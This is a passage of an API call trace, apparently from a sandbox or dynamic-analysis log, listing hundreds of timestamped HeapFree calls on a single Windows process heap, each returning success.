hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.293] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.294] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.295] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.296] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.296] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.297] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.301] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.303] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.304] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.305] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.306] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.308] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.308] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.309] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.401] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.417] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.446] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.448] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.468] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.469] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.470] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.744] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.746] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.749] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.751] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.752] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.753] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.754] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.767] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.914] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.915] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.916] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.917] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.919] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.920] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.921] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.922] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.924] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.925] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.930] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0269.931] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.980] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0269.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.076] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.077] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.087] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.088] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.089] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.101] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.102] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.103] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.104] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.107] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.109] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.110] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0270.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.212] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.214] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.217] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.219] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.221] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.222] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.223] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.224] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.225] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.227] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54e0058 | out: hHeap=0x630000) returned 1 [0270.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.262] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.263] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.264] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.265] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.266] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.267] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.268] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.269] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.270] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.271] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.272] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.273] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.274] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.275] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.277] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.279] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.285] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0270.289] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.317] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.361] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.362] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.364] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fe5b18 | out: hHeap=0x630000) returned 1 [0270.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0270.370] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fc5b08 | out: hHeap=0x630000) returned 1 [0270.396] 